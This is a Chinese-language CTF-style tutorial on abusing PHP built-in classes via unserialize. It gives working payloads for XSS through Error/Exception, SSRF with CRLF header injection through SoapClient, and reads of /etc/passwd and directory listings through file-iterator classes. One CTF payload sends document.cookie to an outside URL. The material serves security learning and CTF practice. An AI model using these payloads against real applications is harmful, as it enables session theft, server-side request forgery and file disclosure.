PHP常见内置类浅析
字数 1246 2025-08-11 08:36:24
PHP原生类利用详解
一、PHP原生类概述
PHP原生类是指在标准PHP库中已经封装好的类,这些类具有一些内置功能(如文件读取、目录遍历等),在特定场景下可以被利用来实现敏感操作。
1.1 识别可用的原生类
可以通过以下脚本获取调用了常见魔术方法的原生类:
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct', '__toString', '__wakeup', '__call',
'__callStatic', '__get', '__set', '__isset',
'__unset', '__invoke', '__set_state'
))) {
print $class . "::" . $method . "\n";
}
}
}
1.2 常用可利用的原生类
- Error/Exception
- SoapClient
- DirectoryIterator
- SimpleXMLElement
- SplFileObject
- FilesystemIterator
- GlobIterator
二、XSS利用(Error/Exception类)
2.1 Error类利用
适用条件:
- PHP7版本
- 开启报错的情况下
原理:
Error类含有__toString魔术方法,当被当做字符串使用时(如echo)会触发该方法。
示例代码:
$a = unserialize($_GET['a']);
echo $a;
Payload构造:
$a = new Error("<script>alert('xss')</script>");
echo urlencode(serialize($a));
2.2 Exception类利用
适用条件:
- PHP5/7版本
- 开启报错的情况下
Payload构造:
$a = new Exception("<script>alert('xss')</script>");
echo urlencode(serialize($a));
三、SSRF利用(SoapClient类)
3.1 SoapClient类简介
SoapClient类用于与SOAP服务交互,可以发送HTTP/HTTPS请求。
构造方法:
public __construct (string|null $wsdl, array $options = [])
关键参数:
location:目标URLuri:SOAP服务的目标命名空间
3.2 基本SSRF利用
示例代码:
$a = new SoapClient(null, array('uri'=>'quan9i', 'location'=>'http://ip:7777'));
$b = serialize($a);
$c = unserialize($b);
$c->abc(); // 触发__call方法
3.3 SSRF+CRLF注入
可以插入任意HTTP头或POST报文:
插入Cookie:
$a = new SoapClient(null, array(
'location' => 'http://VPS:7777',
'user_agent' => "quan9i\r\nCookie: PHPSESSID=abcdefghijklmn",
'uri' => 'qwq'
));
插入POST报文:
$target = 'http://VPS:7777';
$post_data = 'qwq=1';
$headers = array('X-Forwarded-For: 127.0.0.1');
$a = new SoapClient(null, array(
'location' => $target,
'user_agent' => 'qwq^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,
'uri' => 'test'
));
$b = str_replace('^^', "\r\n", serialize($a));
四、文件操作类
4.1 SplFileObject类
用于文件读取操作。
基本利用:
$context = new SplFileObject('/etc/passwd');
echo $context; // 读取一行
多行读取:
$dir = new SplFileObject('/etc/passwd');
foreach($dir as $key) {
echo($key);
}
4.2 FilesystemIterator类
用于目录遍历。
基本利用:
$dir = new FilesystemIterator("/");
foreach($dir as $f) {
echo($f.'<br>');
}
4.3 DirectoryIterator类
基本利用:
$dir = new DirectoryIterator("/");
foreach($dir as $f) {
echo($f.'<br>');
}
4.4 GlobIterator类
支持模式匹配的文件目录遍历。
示例:
$dir = new GlobIterator("/*flag*");
echo $dir;
4.5 绕过open_basedir限制
结合glob协议可以绕过open_basedir限制:
$dir = $_GET['cmd'];
$a = new DirectoryIterator($dir);
foreach($a as $f) {
echo($f.'<br>');
}
五、CTF实战案例
5.1 XSS案例([BJDCTF 2nd]xss之光)
题目代码:
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
Payload:
$a = new Exception("<script>window.location.href='url/?'+document.cookie</script>");
echo urlencode(serialize($a));
5.2 SSRF案例(CTFSHOW web259)
题目代码:
$vip = unserialize($_GET['vip']);
$vip->getFlag();
Payload构造:
$target = 'http://127.0.0.1/flag.php';
$post_data = 'token=ctfshow';
$headers = array('X-Forwarded-For: 127.0.0.1,127.0.0.1');
$a = new SoapClient(null, array(
'location' => $target,
'user_agent' => 'qwq^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,
'uri' => 'test'
));
$b = str_replace('^^', "\r\n", serialize($a));
echo urlencode($b);
5.3 文件读取案例(CTFSHOW 愚人杯)
解题思路:
- 使用GlobIterator寻找txt文件
- 使用SplFileObject读取文件内容
Payload构造:
class gBoBg {
public $name = '1';
public $file = '/f*';
public $coos = 'GlobIterator';
}
class w_wuw_w {
public $aaa;
public $key;
public $file;
}
$pop = new w_wuw_w();
$pop->key = new gBoBg();
$pop->file = '123';
echo serialize($pop);
六、防御措施
- 禁用危险的内置类
- 对反序列化操作进行严格过滤
- 限制文件操作函数的使用
- 关闭不必要的错误显示
- 对用户输入进行严格验证和过滤
七、总结
PHP原生类利用主要依赖于:
- 魔术方法的自动调用(如
__toString,__call等) - 内置类的敏感功能(如文件操作、网络请求等)
- 反序列化漏洞的触发点
理解这些原生类的工作原理和利用方式,对于CTF比赛和实际安全测试都有重要意义。